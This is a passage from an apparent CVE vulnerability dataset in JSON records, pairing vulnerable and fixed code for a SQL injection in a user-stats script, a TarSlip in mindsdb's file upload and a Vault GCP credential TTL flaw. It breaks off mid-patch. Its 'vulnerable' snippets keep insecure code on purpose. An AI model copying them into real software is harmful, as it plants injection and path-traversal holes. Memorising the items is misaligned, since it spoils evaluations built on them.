\"\n        \"user_id, kb_internal_user, institution, \"\n        \"country, signup_date, last_signin_date, \"\n        \"department, job_title, job_title_other, \"\n        \"city, state, postal_code, funding_source, \"\n        \"research_statement, research_interests, \"\n        \"avatar_option, gravatar_default, \"\n        \"how_u_hear_selected, how_u_hear_other)\"\n        \"values(%s, %s, %s, %s, \"\n        \"%s, %s, \"\n        \"%s, %s, %s, \"\n        \"%s, %s, %s, \"\n        \"%s, %s, %s, \"\n        \"%s, %s, %s, %s, \"\n        \"%s, %s, \"\n        \"%s, %s, \"\n        \"%s, %s);\")\n\n    update_prep_cursor = db_connection.cursor(prepared=True)\n    user_info_update_statement = (\n        \"update user_info \"\n        \"set display_name = %s, email = %s, \"\n        \"orcid = %s, globus_login = %s, \"\n        \"google_login = %s, kb_internal_user = %s, \"\n        \"institution = %s, country = %s, \"\n        \"signup_date = %s, last_signin_date = %s, \"\n        \"department = %s, job_title = %s, \"\n        \"job_title_other = %s, \"\n        \"city = %s, state = %s, \"\n        \"postal_code = %s, funding_source = %s, \"\n        \"research_statement = %s, \"\n        \"research_interests = %s, \"\n        \"avatar_option = %s, \"\n        \"gravatar_default = %s, \"\n        \"how_u_hear_selected = %s, \"\n        \"how_u_hear_other = %s \"\n        \"where username = %s;\"\n    )\n\n    new_user_info_count = 0\n    users_info_updated_count = 0\n\n    for username in user_stats_dict:\n        # check if new user_info exists in the existing user info, if not insert the record.\n        if username not in existing_user_info:\n            counter_user_id += 1\n            input = (\n                username,\n                user_stats_dict[username][\"name\"],\n                user_stats_dict[username][\"email\"],\n                user_stats_dict[username][\"orcid\"],\n                user_stats_dict[username][\"globus_login\"],\n                user_stats_dict[username][\"google_login\"],\n                counter_user_id,\n                user_stats_dict[username][\"kbase_internal_user\"],\n                user_stats_dict[username][\"institution\"],\n                user_stats_dict[username][\"country\"],\n                user_stats_dict[username][\"signup_date\"],\n                user_stats_dict[username][\"last_signin_date\"],\n                user_stats_dict[username][\"department\"],\n                user_stats_dict[username][\"job_title\"],\n                user_stats_dict[username][\"job_title_other\"],\n                user_stats_dict[username][\"city\"],\n                user_stats_dict[username][\"state\"],\n                user_stats_dict[username][\"postal_code\"],\n                user_stats_dict[username][\"funding_source\"],\n                user_stats_dict[username][\"research_statement\"],\n                user_stats_dict[username][\"research_interests\"],\n                user_stats_dict[username][\"avatar_option\"],\n                user_stats_dict[username][\"gravatar_default\"],\n                user_stats_dict[username][\"how_u_hear_selected\"],\n                user_stats_dict[username][\"how_u_hear_other\"],\n            )\n            prep_cursor.execute(user_info_insert_statement, input)\n            new_user_info_count += 1\n        else:\n            # Check if anything has changed in the user_info, if so update the record\n            if not (\n                (\n                    user_stats_dict[username][\"last_signin_date\"] is None\n                    or user_stats_dict[username][\"last_signin_date\"].strftime(\n                        \"%Y-%m-%d %H:%M:%S\"\n                    )\n                    == str(existing_user_info[username][\"last_signin_date\"])\n                )\n                and (\n                    user_stats_dict[username][\"signup_date\"].strftime(\n                        \"%Y-%m-%d %H:%M:%S\"\n                    )\n                    == str(existing_user_info[username][\"signup_date\"])\n                )\n                and user_stats_dict[username][\"country\"]\n                    == existing_user_info[username][\"country\"]\n                and user_stats_dict[username][\"institution\"]\n                    == existing_user_info[username][\"institution\"]\n                and user_stats_dict[username][\"kbase_internal_user\"]\n                    == existing_user_info[username][\"kb_internal_user\"]\n                and user_stats_dict[username][\"orcid\"]\n                    == existing_user_info[username][\"orcid\"]\n                and user_stats_dict[username][\"globus_login\"]\n                    == existing_user_info[username][\"globus_login\"]\n                and user_stats_dict[username][\"google_login\"]\n                    == existing_user_info[username][\"google_login\"]\n                and user_stats_dict[username][\"email\"]\n                    == existing_user_info[username][\"email\"]\n                and user_stats_dict[username][\"name\"]\n                    == existing_user_info[username][\"name\"]\n                and user_stats_dict[username][\"department\"]\n                    == existing_user_info[username][\"department\"]\n                and user_stats_dict[username][\"job_title\"]\n                    == existing_user_info[username][\"job_title\"]\n                and user_stats_dict[username][\"job_title_other\"]\n                    == existing_user_info[username][\"job_title_other\"]\n                and user_stats_dict[username][\"city\"]\n                    == existing_user_info[username][\"city\"]\n                and user_stats_dict[username][\"state\"]\n                    == existing_user_info[username][\"state\"]\n                and user_stats_dict[username][\"postal_code\"]\n                    == existing_user_info[username][\"postal_code\"]\n                and user_stats_dict[username][\"funding_source\"]\n                    == existing_user_info[username][\"funding_source\"]\n                and user_stats_dict[username][\"research_statement\"]\n                    == existing_user_info[username][\"research_statement\"]\n                and user_stats_dict[username][\"research_interests\"]\n                    == existing_user_info[username][\"research_interests\"]\n                and user_stats_dict[username][\"avatar_option\"]\n                    == existing_user_info[username][\"avatar_option\"]\n                and user_stats_dict[username][\"gravatar_default\"]\n                    == existing_user_info[username][\"gravatar_default\"]\n                and user_stats_dict[username][\"how_u_hear_selected\"]\n                    == existing_user_info[username][\"how_u_hear_selected\"]\n                and user_stats_dict[username][\"how_u_hear_other\"]\n                    == existing_user_info[username][\"how_u_hear_other\"]\n            ):\n                input = (\n                    user_stats_dict[username][\"name\"],\n                    user_stats_dict[username][\"email\"],\n                    user_stats_dict[username][\"orcid\"],\n                    user_stats_dict[username][\"globus_login\"],\n                    user_stats_dict[username][\"google_login\"],\n                    user_stats_dict[username][\"kbase_internal_user\"],\n                    user_stats_dict[username][\"institution\"],\n                    user_stats_dict[username][\"country\"],\n                    user_stats_dict[username][\"signup_date\"],\n                    user_stats_dict[username][\"last_signin_date\"],\n                    user_stats_dict[username][\"department\"],\n                    user_stats_dict[username][\"job_title\"],\n                    user_stats_dict[username][\"job_title_other\"],\n                    user_stats_dict[username][\"city\"],\n                    user_stats_dict[username][\"state\"],\n                    user_stats_dict[username][\"postal_code\"],\n                    user_stats_dict[username][\"funding_source\"],\n                    user_stats_dict[username][\"research_statement\"],\n                    user_stats_dict[username][\"research_interests\"],\n                    user_stats_dict[username][\"avatar_option\"],\n                    user_stats_dict[username][\"gravatar_default\"],\n                    user_stats_dict[username][\"how_u_hear_selected\"],\n                    user_stats_dict[username][\"how_u_hear_other\"],\n                    username,\n                )\n                update_prep_cursor.execute(user_info_update_statement, input)\n                users_info_updated_count += 1\n    db_connection.commit()\n\n    print(\"Number of new users info inserted:\" + str(new_user_info_count))\n    print(\"Number of users updated:\" + str(users_info_updated_count))\n\n    dev_tokens_users = get_dev_token_users_from_mongo()\n    update_new_dev_tokens_statement = (\n        \"update user_info set dev_token_first_seen = now() \"\n        \"where dev_token_first_seen is null and \"\n        \"username in (\" + (\"%s, \" * (len(dev_tokens_users) - 1)) + \"%s)\"\n        )\n#    print(\"update_new_dev_tokens_statement : \" + update_new_dev_tokens_statement)\n    update_dev_tokens_prep_cursor = db_connection.cursor(prepared=True)\n    update_dev_tokens_prep_cursor.execute(update_new_dev_tokens_statement, dev_tokens_users)\n    db_connection.commit()\n    \n    # NOW DO USER SUMMARY STATS\n    user_summary_stats_insert_statement = (\n        \"insert into user_system_summary_stats \"\n        \"(username,num_orgs, narrative_count, \"\n        \"shared_count, narratives_shared) \"\n        \"values(%s,%s,%s,%s,%s);\"\n    )\n\n    existing_user_summary_stats = dict()\n    query = (\n        \"select username, num_orgs, narrative_count, shared_count, narratives_shared \"\n        \"from user_system_summary_stats_current\"\n    )\n    cursor.execute(query)\n    for (\n        username,\n        num_orgs,\n        narrative_count,\n        shared_count,\n        narratives_shared,\n    ) in cursor:\n        existing_user_summary_stats[username] = {\n            \"num_orgs\": num_orgs,\n            \"narrative_count\": narrative_count,\n            \"shared_count\": shared_count,\n            \"narratives_shared\": narratives_shared,\n        }\n    print(\"Number of existing user summaries:\" + str(len(existing_user_summary_stats)))\n\n    new_user_summary_count = 0\n    existing_user_summary_count = 0\n    for username in user_stats_dict:\n        if username not in existing_user_summary_stats:\n            # if user does not exist insert\n            input = (\n                username,\n                user_stats_dict[username][\"num_orgs\"],\n                user_stats_dict[username][\"narrative_count\"],\n                user_stats_dict[username][\"shared_count\"],\n                user_stats_dict[username][\"narratives_shared\"],\n            )\n            prep_cursor.execute(user_summary_stats_insert_statement, input)\n            new_user_summary_count += 1\n        else:\n            # else see if the new data differs from the most recent snapshot. If it does differ, do an insert\n            if not (\n                user_stats_dict[username][\"num_orgs\"]\n                == existing_user_summary_stats[username][\"num_orgs\"]\n                and user_stats_dict[username][\"narrative_count\"]\n                == existing_user_summary_stats[username][\"narrative_count\"]\n                and user_stats_dict[username][\"shared_count\"]\n                == existing_user_summary_stats[username][\"shared_count\"]\n                and user_stats_dict[username][\"narratives_shared\"]\n                == existing_user_summary_stats[username][\"narratives_shared\"]\n            ):\n                input = (\n                    username,\n                    user_stats_dict[username][\"num_orgs\"],\n                    user_stats_dict[username][\"narrative_count\"],\n                    user_stats_dict[username][\"shared_count\"],\n                    user_stats_dict[username][\"narratives_shared\"],\n                )\n                prep_cursor.execute(user_summary_stats_insert_statement, input)\n                existing_user_summary_count += 1\n\n    db_connection.commit()\n\n    # THIS CODE is to update any of the 434 excluded users that had accounts made for them\n    # but never logged in. In case any of them ever do log in, they will be removed from\n    # the excluded list\n    query = \"UPDATE metrics.user_info set exclude = False where last_signin_date is not NULL\"\n    cursor.execute(query)\n    db_connection.commit()\n\n    print(\"Number of new users summary inserted:\" + str(new_user_summary_count))\n    print(\n        \"Number of existing users summary inserted:\" + str(existing_user_summary_count)\n    )\n\n    return 1"}], "vul_patch": "--- a/source/daily_cron_jobs/methods_upload_user_stats.py\n+++ b/source/daily_cron_jobs/methods_upload_user_stats.py\n@@ -262,36 +262,14 @@\n     print(\"Number of users updated:\" + str(users_info_updated_count))\n \n     dev_tokens_users = get_dev_token_users_from_mongo()\n-    #print(\"dev_tokens_users: \" + str(dev_tokens_users))\n-\n-    ####################\n-    # TRIED DO UPDATE WITH PASSED LIST NONE OF THIS WORKED\n-    # HAD To build up the entire string\n-    #    update_new_dev_tokens_statement = (\n-    #        \"update user_info set dev_token_first_seen = now() \"\n-    #        \"where dev_token_first_seen is null and \"\n-    #        \"username in (%s)\"\n-    #        )\n-    #    sql_params = \",\".join(dev_tokens_users)\n-    #    sql_params = (dev_tokens_users,)\n-    #    sql_params = ([str(dev_tokens_users)])\n-    #    cursor.execute(update_new_dev_tokens_statement, [sql_params])\n-    #    cursor.execute(\"update user_info set dev_token_first_seen = now() \"\n-    #                   \"where dev_token_first_seen is null and \"\n-    #                   \"username in (%s)\" % ', '.join('?' * len(dev_tokens_users)), dev_tokens_users)\n-    #    update_new_dev_tokens_statement = (\n-    #        \"update user_info set dev_token_first_seen = now() \"\n-    #        \"where dev_token_first_seen is null and \"\n-    #        \"username in (%s)\" % ', '.join('?' * len(dev_tokens_users)), dev_tokens_users\n-    #        )\n-    #    cursor.execute(\"SELECT foo.y FROM foo WHERE foo.x in (%s)\" % ', '.join('?' * len(s)), s)\n-    dev_tokens_string = \"', '\".join(dev_tokens_users)\n     update_new_dev_tokens_statement = (\n         \"update user_info set dev_token_first_seen = now() \"\n         \"where dev_token_first_seen is null and \"\n-        \"username in ('\" + dev_tokens_string + \"')\"\n+        \"username in (\" + (\"%s, \" * (len(dev_tokens_users) - 1)) + \"%s)\"\n         )\n-    cursor.execute(update_new_dev_tokens_statement)\n+#    print(\"update_new_dev_tokens_statement : \" + update_new_dev_tokens_statement)\n+    update_dev_tokens_prep_cursor = db_connection.cursor(prepared=True)\n+    update_dev_tokens_prep_cursor.execute(update_new_dev_tokens_statement, dev_tokens_users)\n     db_connection.commit()\n     \n     # NOW DO USER SUMMARY STATS\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-30620", "cve_description": "mindsdb is a Machine Learning platform to help developers build AI solutions. In affected versions an unsafe extraction is being performed using `tarfile.extractall()` from a remotely retrieved tarball. Which may lead to the writing of the extracted files to an unintended location. Sometimes, the vulnerability is called a TarSlip or a ZipSlip variant. An attacker may leverage this vulnerability to overwrite any local file which the server process has access to. There is no risk of file exposure with this vulnerability. This issue has been addressed in release `23.2.1.0 `. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/mindsdb/mindsdb", "patch_url": ["https://github.com/mindsdb/mindsdb/commit/4419b0f0019c000db390b54d8b9d06e1d3670039"], "programing_language": "Python", "vul_func": [{"id": "vul_py_180_1", "commit": "e83cdc5", "file_path": "mindsdb/api/http/namespaces/file.py", "start_line": 30, "end_line": 153, "snippet": "    def put(self, name: str):\n        ''' add new file\n            params in FormData:\n                - file\n                - original_file_name [optional]\n        '''\n\n        data = {}\n        mindsdb_file_name = name\n\n        existing_file_names = ca.file_controller.get_files_names()\n\n        def on_field(field):\n            name = field.field_name.decode()\n            value = field.value.decode()\n            data[name] = value\n\n        file_object = None\n\n        def on_file(file):\n            nonlocal file_object\n            data['file'] = file.file_name.decode()\n            file_object = file.file_object\n\n        temp_dir_path = tempfile.mkdtemp(prefix='mindsdb_file_')\n\n        if request.headers['Content-Type'].startswith('multipart/form-data'):\n            parser = multipart.create_form_parser(\n                headers=request.headers,\n                on_field=on_field,\n                on_file=on_file,\n                config={\n                    'UPLOAD_DIR': temp_dir_path.encode(),    # bytes required\n                    'UPLOAD_KEEP_FILENAME': True,\n                    'UPLOAD_KEEP_EXTENSIONS': True,\n                    'MAX_MEMORY_FILE_SIZE': 0\n                }\n            )\n\n            while True:\n                chunk = request.stream.read(8192)\n                if not chunk:\n                    break\n                parser.write(chunk)\n            parser.finalize()\n            parser.close()\n\n            if file_object is not None and not file_object.closed:\n                file_object.close()\n        else:\n            data = request.json\n\n        if mindsdb_file_name in existing_file_names:\n            return http_error(\n                400,\n                \"File already exists\",\n                f\"File with name '{data['file']}' already exists\"\n            )\n\n        if data.get('source_type') == 'url':\n            url = data['source']\n            data['file'] = data['name']\n\n            config = Config()\n            is_cloud = config.get('cloud', False)\n            if is_cloud is True and ctx.user_class != 1:\n                info = requests.head(url)\n                file_size = info.headers.get('Content-Length')\n                try:\n                    file_size = int(file_size)\n                except Exception:\n                    pass\n\n                if file_size is None:\n                    return http_error(\n                        400,\n                        \"Error getting file info\",\n                        \"\\u0421an't determine remote file size\"\n                    )\n                if file_size > 1024 * 1024 * 100:\n                    return http_error(\n                        400,\n                        \"File is too big\",\n                        \"Upload limit for file is 100Mb\"\n                    )\n            with requests.get(url, stream=True) as r:\n                if r.status_code != 200:\n                    return http_error(\n                        400,\n                        \"Error getting file\",\n                        f\"Got status code: {r.status_code}\"\n                    )\n                file_path = os.path.join(temp_dir_path, data['file'])\n                with open(file_path, 'wb') as f:\n                    for chunk in r.iter_content(chunk_size=8192):\n                        f.write(chunk)\n\n        original_file_name = data.get('original_file_name')\n\n        file_path = os.path.join(temp_dir_path, data['file'])\n        lp = file_path.lower()\n        if lp.endswith(('.zip', '.tar.gz')):\n            if lp.endswith('.zip'):\n                with zipfile.ZipFile(file_path) as f:\n                    f.extractall(temp_dir_path)\n            elif lp.endswith('.tar.gz'):\n                with tarfile.open(file_path) as f:\n                    f.extractall(temp_dir_path)\n            os.remove(file_path)\n            files = os.listdir(temp_dir_path)\n            if len(files) != 1:\n                os.rmdir(temp_dir_path)\n                return http_error(400, 'Wrong content.', 'Archive must contain only one data file.')\n            file_path = os.path.join(temp_dir_path, files[0])\n            mindsdb_file_name = files[0]\n            if not os.path.isfile(file_path):\n                os.rmdir(temp_dir_path)\n                return http_error(400, 'Wrong content.', 'Archive must contain data file in root.')\n\n        ca.file_controller.save_file(mindsdb_file_name, file_path, file_name=original_file_name)\n\n        os.rmdir(temp_dir_path)\n\n        return '', 200"}], "fix_func": [{"id": "fix_py_180_1", "commit": "4419b0f", "file_path": "mindsdb/api/http/namespaces/file.py", "start_line": 30, "end_line": 153, "snippet": "    def put(self, name: str):\n        ''' add new file\n            params in FormData:\n                - file\n                - original_file_name [optional]\n        '''\n\n        data = {}\n        mindsdb_file_name = name\n\n        existing_file_names = ca.file_controller.get_files_names()\n\n        def on_field(field):\n            name = field.field_name.decode()\n            value = field.value.decode()\n            data[name] = value\n\n        file_object = None\n\n        def on_file(file):\n            nonlocal file_object\n            data['file'] = file.file_name.decode()\n            file_object = file.file_object\n\n        temp_dir_path = tempfile.mkdtemp(prefix='mindsdb_file_')\n\n        if request.headers['Content-Type'].startswith('multipart/form-data'):\n            parser = multipart.create_form_parser(\n                headers=request.headers,\n                on_field=on_field,\n                on_file=on_file,\n                config={\n                    'UPLOAD_DIR': temp_dir_path.encode(),    # bytes required\n                    'UPLOAD_KEEP_FILENAME': True,\n                    'UPLOAD_KEEP_EXTENSIONS': True,\n                    'MAX_MEMORY_FILE_SIZE': 0\n                }\n            )\n\n            while True:\n                chunk = request.stream.read(8192)\n                if not chunk:\n                    break\n                parser.write(chunk)\n            parser.finalize()\n            parser.close()\n\n            if file_object is not None and not file_object.closed:\n                file_object.close()\n        else:\n            data = request.json\n\n        if mindsdb_file_name in existing_file_names:\n            return http_error(\n                400,\n                \"File already exists\",\n                f\"File with name '{data['file']}' already exists\"\n            )\n\n        if data.get('source_type') == 'url':\n            url = data['source']\n            data['file'] = data['name']\n\n            config = Config()\n            is_cloud = config.get('cloud', False)\n            if is_cloud is True and ctx.user_class != 1:\n                info = requests.head(url)\n                file_size = info.headers.get('Content-Length')\n                try:\n                    file_size = int(file_size)\n                except Exception:\n                    pass\n\n                if file_size is None:\n                    return http_error(\n                        400,\n                        \"Error getting file info\",\n                        \"\\u0421an't determine remote file size\"\n                    )\n                if file_size > 1024 * 1024 * 100:\n                    return http_error(\n                        400,\n                        \"File is too big\",\n                        \"Upload limit for file is 100Mb\"\n                    )\n            with requests.get(url, stream=True) as r:\n                if r.status_code != 200:\n                    return http_error(\n                        400,\n                        \"Error getting file\",\n                        f\"Got status code: {r.status_code}\"\n                    )\n                file_path = os.path.join(temp_dir_path, data['file'])\n                with open(file_path, 'wb') as f:\n                    for chunk in r.iter_content(chunk_size=8192):\n                        f.write(chunk)\n\n        original_file_name = data.get('original_file_name')\n\n        file_path = os.path.join(temp_dir_path, data['file'])\n        lp = file_path.lower()\n        if lp.endswith(('.zip', '.tar.gz')):\n            if lp.endswith('.zip'):\n                with zipfile.ZipFile(file_path) as f:\n                    f.extractall(temp_dir_path)\n            elif lp.endswith('.tar.gz'):\n                with tarfile.open(file_path) as f:\n                    safe_extract(f, temp_dir_path)\n            os.remove(file_path)\n            files = os.listdir(temp_dir_path)\n            if len(files) != 1:\n                os.rmdir(temp_dir_path)\n                return http_error(400, 'Wrong content.', 'Archive must contain only one data file.')\n            file_path = os.path.join(temp_dir_path, files[0])\n            mindsdb_file_name = files[0]\n            if not os.path.isfile(file_path):\n                os.rmdir(temp_dir_path)\n                return http_error(400, 'Wrong content.', 'Archive must contain data file in root.')\n\n        ca.file_controller.save_file(mindsdb_file_name, file_path, file_name=original_file_name)\n\n        os.rmdir(temp_dir_path)\n\n        return '', 200"}, {"id": "fix_py_180_2", "commit": "4419b0f", "file_path": "mindsdb/api/http/utils.py", "start_line": 27, "end_line": 31, "snippet": "def __is_within_directory(directory, target):\n    abs_directory = os.path.abspath(directory)\n    abs_target = os.path.abspath(target)\n    prefix = os.path.commonprefix([abs_directory, abs_target])\n    return prefix == abs_directory"}, {"id": "fix_py_180_3", "commit": "4419b0f", "file_path": "mindsdb/api/http/utils.py", "start_line": 33, "end_line": 38, "snippet": "def safe_extract(tar, path=\".\", members=None, *, numeric_owner=False):\n    for member in tar.getmembers():\n        member_path = os.path.join(path, member.name)\n        if not __is_within_directory(path, member_path):\n            raise Exception(\"Attempted Path Traversal in Tar File\")\n    tar.extractall(path, members, numeric_owner) "}], "vul_patch": "--- a/mindsdb/api/http/namespaces/file.py\n+++ b/mindsdb/api/http/namespaces/file.py\n@@ -105,7 +105,7 @@\n                     f.extractall(temp_dir_path)\n             elif lp.endswith('.tar.gz'):\n                 with tarfile.open(file_path) as f:\n-                    f.extractall(temp_dir_path)\n+                    safe_extract(f, temp_dir_path)\n             os.remove(file_path)\n             files = os.listdir(temp_dir_path)\n             if len(files) != 1:\n\n--- /dev/null\n+++ b/mindsdb/api/http/namespaces/file.py\n@@ -0,0 +1,5 @@\n+def __is_within_directory(directory, target):\n+    abs_directory = os.path.abspath(directory)\n+    abs_target = os.path.abspath(target)\n+    prefix = os.path.commonprefix([abs_directory, abs_target])\n+    return prefix == abs_directory\n\n--- /dev/null\n+++ b/mindsdb/api/http/namespaces/file.py\n@@ -0,0 +1,6 @@\n+def safe_extract(tar, path=\".\", members=None, *, numeric_owner=False):\n+    for member in tar.getmembers():\n+        member_path = os.path.join(path, member.name)\n+        if not __is_within_directory(path, member_path):\n+            raise Exception(\"Attempted Path Traversal in Tar File\")\n+    tar.extractall(path, members, numeric_owner) \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-12757", "cve_description": "HashiCorp Vault and Vault Enterprise 1.4.0 and 1.4.1, when configured with the GCP Secrets Engine, may incorrectly generate GCP Credentials with the default time-to-live lease duration instead of the engine-configured setting. This may lead to generated GCP credentials being valid for longer than intended. Fixed in 1.4.2.", "cwe_info": {"CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/hashicorp/vault-plugin-secrets-gcp", "patch_url": ["https://github.com/hashicorp/vault-plugin-secrets-gcp/commit/e43d20870c50f7428dead1411debcec075b35fb4"], "programing_language": "Go", "vul_func": [{"id": "vul_go_89_1", "commit": "f90dbea", "file_path": "plugin/secrets_service_account_key.go", "start_line": "43", "end_line": "74", "snippet": "func pathSecretServiceAccountKey(b *backend) *framework.Path {\n\treturn &framework.Path{\n\t\tPattern: fmt.Sprintf(\"key/%s\", framework.GenericNameRegex(\"roleset\")),\n\t\tFields: map[string]*framework.FieldSchema{\n\t\t\t\"roleset\": {\n\t\t\t\tType:        framework.TypeString,\n\t\t\t\tDescription: \"Required. Name of the role set.\",\n\t\t\t},\n\t\t\t\"key_algorithm\": {\n\t\t\t\tType:        framework.TypeString,\n\t\t\t\tDescription: fmt.Sprintf(`Private key algorithm for service account key - defaults to %s\"`, keyAlgorithmRSA2k),\n\t\t\t\tDefault:     keyAlgorithmRSA2k,\n\t\t\t},\n\t\t\t\"key_type\": {\n\t\t\t\tType:        framework.TypeString,\n\t\t\t\tDescription: fmt.Sprintf(`Private key type for service account key - defaults to %s\"`, privateKeyTypeJson),\n\t\t\t\tDefault:     privateKeyTypeJson,\n\t\t\t},\n\t\t\t\"ttl\": &framework.FieldSchema{\n\t\t\t\tType:        framework.TypeDurationSecond,\n\t\t\t\tDescription: \"Lifetime of the service account key\",\n\t\t\t},\n\t\t},\n\t\tExistenceCheck: b.pathRoleSetExistenceCheck(\"roleset\"),\n\t\tOperations: map[logical.Operation]framework.OperationHandler{\n\t\t\tlogical.ReadOperation:   &framework.PathOperation{Callback: b.pathServiceAccountKey},\n\t\t\tlogical.UpdateOperation: &framework.PathOperation{Callback: b.pathServiceAccountKey},\n\t\t},\n\t\tHelpSynopsis:    pathServiceAccountKeySyn,\n\t\tHelpDescription: pathServiceAccountKeyDesc,\n\t}\n}"}, {"id": "vul_go_89_2", "commit": "f90dbea", "file_path": "plugin/secrets_service_account_key.go", "start_line": "176", "end_line": "223", "snippet": "func (b *backend) getSecretKey(ctx context.Context, s logical.Storage, rs *RoleSet, keyType, keyAlgorithm string, ttl int) (*logical.Response, error) {\n\tcfg, err := getConfig(ctx, s)\n\tif err != nil {\n\t\treturn nil, errwrap.Wrapf(\"could not read backend config: {{err}}\", err)\n\t}\n\tif cfg == nil {\n\t\tcfg = &config{}\n\t}\n\n\tiamC, err := b.IAMAdminClient(s)\n\tif err != nil {\n\t\treturn nil, errwrap.Wrapf(\"could not create IAM Admin client: {{err}}\", err)\n\t}\n\n\taccount, err := rs.getServiceAccount(iamC)\n\tif err != nil {\n\t\treturn logical.ErrorResponse(fmt.Sprintf(\"roleset service account was removed - role set must be updated (write to roleset/%s/rotate) before generating new secrets\", rs.Name)), nil\n\t}\n\n\tkey, err := iamC.Projects.ServiceAccounts.Keys.Create(\n\t\taccount.Name, &iam.CreateServiceAccountKeyRequest{\n\t\t\tKeyAlgorithm:   keyAlgorithm,\n\t\t\tPrivateKeyType: keyType,\n\t\t}).Do()\n\tif err != nil {\n\t\treturn logical.ErrorResponse(err.Error()), nil\n\t}\n\n\tsecretD := map[string]interface{}{\n\t\t\"private_key_data\": key.PrivateKeyData,\n\t\t\"key_algorithm\":    key.KeyAlgorithm,\n\t\t\"key_type\":         key.PrivateKeyType,\n\t}\n\tinternalD := map[string]interface{}{\n\t\t\"key_name\":          key.Name,\n\t\t\"role_set\":          rs.Name,\n\t\t\"role_set_bindings\": rs.bindingHash(),\n\t}\n\n\tresp := b.Secret(SecretTypeKey).Response(secretD, internalD)\n\tresp.Secret.Renewable = true\n\n\tif ttl > 0 {\n\t\tresp.Secret.TTL = time.Duration(ttl) * time.Second\n\t}\n\n\treturn resp, nil\n}"}], "fix_func": [{"id": "fix_go_89_1", "commit": "e43d208", "file_path": "plugin/secrets_service_account_key.go", "start_line": "43", "end_line": "74", "snippet": "func pathSecretServiceAccountKey(b *backend) *framework.Path {\n\treturn &framework.Path{\n\t\tPattern: fmt.Sprintf(\"key/%s\", framework.GenericNameRegex(\"roleset\")),\n\t\tFields: map[string]*framework.FieldSchema{\n\t\t\t\"roleset\": {\n\t\t\t\tType:        framework.TypeString,\n\t\t\t\tDescription: \"Required. Name of the role set.\",\n\t\t\t},\n\t\t\t\"key_algorithm\": {\n\t\t\t\tType:        framework.TypeString,\n\t\t\t\tDescription: fmt.Sprintf(`Private key algorithm for service account key - defaults to %s\"`, keyAlgorithmRSA2k),\n\t\t\t\tDefault:     keyAlgorithmRSA2k,\n\t\t\t},\n\t\t\t\"key_type\": {\n\t\t\t\tType:        framework.TypeString,\n\t\t\t\tDescription: fmt.Sprintf(`Private key type for service account key - defaults to %s\"`, privateKeyTypeJson),\n\t\t\t\tDefault:     privateKeyTypeJson,\n\t\t\t},\n\t\t\t\"ttl\": {\n\t\t\t\tType:        framework.TypeDurationSecond,\n\t\t\t\tDescription: \"Lifetime of the service account key\",\n\t\t\t},\n\t\t},\n\t\tExistenceCheck: b.pathRoleSetExistenceCheck(\"roleset\"),\n\t\tOperations: map[logical.Operation]framework.OperationHandler{\n\t\t\tlogical.ReadOperation:   &framework.PathOperation{Callback: b.pathServiceAccountKey},\n\t\t\tlogical.UpdateOperation: &framework.PathOperation{Callback: b.pathServiceAccountKey},\n\t\t},\n\t\tHelpSynopsis:    pathServiceAccountKeySyn,\n\t\tHelpDescription: pathServiceAccountKeyDesc,\n\t}\n}"}, {"id": "fix_go_89_2", "commit": "e43d208", "file_path": "plugin/secrets_service_account_key.go", "start_line": "176", "end_line": "227", "snippet": "func (b *backend) getSecretKey(ctx context.Context, s logical.Storage, rs *RoleSet, keyType, keyAlgorithm string, ttl int) (*logical.Response, error) {\n\tcfg, err := getConfig(ctx, s)\n\tif err != nil {\n\t\treturn nil, errwrap.Wrapf(\"could not read backend config: {{err}}\", err)\n\t}\n\tif cfg == nil {\n\t\tcfg = &config{}\n\t}\n\n\tiamC, err := b.IAMAdminClient(s)\n\tif err != nil {\n\t\treturn nil, errwrap.Wrapf(\"could not create IAM Admin client: {{err}}\", err)\n\t}\n\n\taccount, err := rs.getServiceAccount(iamC)\n\tif err != nil {\n\t\treturn logical.ErrorResponse(fmt.Sprintf(\"roleset service account was removed - role set must be updated (write to roleset/%s/rotate) before generating new secrets\", rs.Name)), nil\n\t}\n\n\tkey, err := iamC.Projects.ServiceAccounts.Keys.Create(\n\t\taccount.Name, &iam.CreateServiceAccountKeyRequest{\n\t\t\tKeyAlgorithm:   keyAlgorithm,\n\t\t\tPrivateKeyType: keyType,\n\t\t}).Do()\n\tif err != nil {\n\t\treturn logical.ErrorResponse(err.Error()), nil\n\t}\n\n\tsecretD := map[string]interface{}{\n\t\t\"private_key_data\": key.PrivateKeyData,\n\t\t\"key_algorithm\":    key.KeyAlgorithm,\n\t\t\"key_type\":         key.PrivateKeyType,\n\t}\n\tinternalD := map[string]interface{}{\n\t\t\"key_name\":          key.Name,\n\t\t\"role_set\":          rs.Name,\n\t\t\"role_set_bindings\": rs.bindingHash(),\n\t}\n\n\tresp := b.Secret(SecretTypeKey).Response(secretD, internalD)\n\tresp.Secret.Renewable = true\n\n\tresp.Secret.MaxTTL = cfg.MaxTTL\n\tresp.Secret.TTL = cfg.TTL\n\n\t// If the request came with a TTL value, overwrite the config default\n\tif ttl > 0 {\n\t\tresp.Secret.TTL = time.Duration(ttl) * time.Second\n\t}\n\n\treturn resp, nil\n}"}], "vul_patch": "--- a/plugin/secrets_service_account_key.go\n+++ b/plugin/secrets_service_account_key.go\n@@ -16,7 +16,7 @@\n \t\t\t\tDescription: fmt.Sprintf(`Private key type for service account key - defaults to %s\"`, privateKeyTypeJson),\n \t\t\t\tDefault:     privateKeyTypeJson,\n \t\t\t},\n-\t\t\t\"ttl\": &framework.FieldSchema{\n+\t\t\t\"ttl\": {\n \t\t\t\tType:        framework.TypeDurationSecond,\n \t\t\t\tDescription: \"Lifetime of the service account key\",\n \t\t\t},\n\n--- a/plugin/secrets_service_account_key.go\n+++ b/plugin/secrets_service_account_key.go\n@@ -40,6 +40,10 @@\n \tresp := b.Secret(SecretTypeKey).Response(secretD, internalD)\n \tresp.Secret.Renewable = true\n \n+\tresp.Secret.MaxTTL = 